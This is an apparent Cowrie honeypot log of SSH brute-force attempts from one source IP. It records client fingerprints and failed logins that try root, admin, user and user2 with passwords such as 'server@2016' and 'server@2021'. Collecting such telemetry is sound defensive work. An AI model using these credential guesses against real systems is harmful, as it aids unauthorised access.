{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:31.914036Z","src_ip":"203.115.100.24","session":"f21e02d452d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:32.133101Z","src_ip":"203.115.100.24","session":"f21e02d452d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2016","message":"login attempt [root/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:33.037859Z","src_ip":"203.115.100.24","session":"f21e02d452d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:33.521725Z","src_ip":"203.115.100.24","session":"f21e02d452d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58295,"dst_ip":"10.17.0.5","dst_port":22,"session":"1033dac9c3c6","protocol":"ssh","message":"New connection: 203.115.100.24:58295 (10.17.0.5:22) [session: 1033dac9c3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:33.780633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:33.785574Z","src_ip":"203.115.100.24","session":"1033dac9c3c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:34.024331Z","src_ip":"203.115.100.24","session":"1033dac9c3c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2016","message":"login attempt [admin/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:35.009454Z","src_ip":"203.115.100.24","session":"1033dac9c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:35.493521Z","src_ip":"203.115.100.24","session":"1033dac9c3c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"15c6035ac505","protocol":"ssh","message":"New connection: 203.115.100.24:58394 (10.17.0.5:22) [session: 15c6035ac505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:35.750242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:35.754945Z","src_ip":"203.115.100.24","session":"15c6035ac505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:36.002902Z","src_ip":"203.115.100.24","session":"15c6035ac505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2016","message":"login attempt [user/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:37.027622Z","src_ip":"203.115.100.24","session":"15c6035ac505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:37.507734Z","src_ip":"203.115.100.24","session":"15c6035ac505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58506,"dst_ip":"10.17.0.5","dst_port":22,"session":"581176cfdccd","protocol":"ssh","message":"New connection: 203.115.100.24:58506 (10.17.0.5:22) [session: 581176cfdccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:37.745055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:37.749531Z","src_ip":"203.115.100.24","session":"581176cfdccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:37.972688Z","src_ip":"203.115.100.24","session":"581176cfdccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2016","message":"login attempt [user2/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:38.899500Z","src_ip":"203.115.100.24","session":"581176cfdccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:39.380644Z","src_ip":"203.115.100.24","session":"581176cfdccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58594,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f826390b3c","protocol":"ssh","message":"New connection: 203.115.100.24:58594 (10.17.0.5:22) [session: f3f826390b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:39.647582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:39.658866Z","src_ip":"203.115.100.24","session":"f3f826390b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:39.911564Z","src_ip":"203.115.100.24","session":"f3f826390b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2019","message":"login attempt [root/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:40.943953Z","src_ip":"203.115.100.24","session":"f3f826390b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:41.415130Z","src_ip":"203.115.100.24","session":"f3f826390b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58695,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8317ea8ec1c","protocol":"ssh","message":"New connection: 203.115.100.24:58695 (10.17.0.5:22) [session: c8317ea8ec1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:41.648621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:41.653022Z","src_ip":"203.115.100.24","session":"c8317ea8ec1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:41.876599Z","src_ip":"203.115.100.24","session":"c8317ea8ec1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2019","message":"login attempt [admin/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:42.803610Z","src_ip":"203.115.100.24","session":"c8317ea8ec1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:43.286599Z","src_ip":"203.115.100.24","session":"c8317ea8ec1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7fbee3d122d","protocol":"ssh","message":"New connection: 203.115.100.24:58788 (10.17.0.5:22) [session: c7fbee3d122d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:43.531783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:43.536295Z","src_ip":"203.115.100.24","session":"c7fbee3d122d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:43.771181Z","src_ip":"203.115.100.24","session":"c7fbee3d122d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2019","message":"login attempt [user/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:44.713260Z","src_ip":"203.115.100.24","session":"c7fbee3d122d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:45.181335Z","src_ip":"203.115.100.24","session":"c7fbee3d122d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58889,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0fcdb24f472","protocol":"ssh","message":"New connection: 203.115.100.24:58889 (10.17.0.5:22) [session: d0fcdb24f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:45.421555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:45.426647Z","src_ip":"203.115.100.24","session":"d0fcdb24f472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:45.659497Z","src_ip":"203.115.100.24","session":"d0fcdb24f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2019","message":"login attempt [user2/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:46.621444Z","src_ip":"203.115.100.24","session":"d0fcdb24f472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:47.100000Z","src_ip":"203.115.100.24","session":"d0fcdb24f472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":58982,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b36c00c28c","protocol":"ssh","message":"New connection: 203.115.100.24:58982 (10.17.0.5:22) [session: c6b36c00c28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:47.350063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:47.356010Z","src_ip":"203.115.100.24","session":"c6b36c00c28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:47.593087Z","src_ip":"203.115.100.24","session":"c6b36c00c28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2021","message":"login attempt [root/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:48.544696Z","src_ip":"203.115.100.24","session":"c6b36c00c28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:49.026600Z","src_ip":"203.115.100.24","session":"c6b36c00c28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b62b90f861e2","protocol":"ssh","message":"New connection: 203.115.100.24:59086 (10.17.0.5:22) [session: b62b90f861e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:49.270174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:49.274995Z","src_ip":"203.115.100.24","session":"b62b90f861e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-2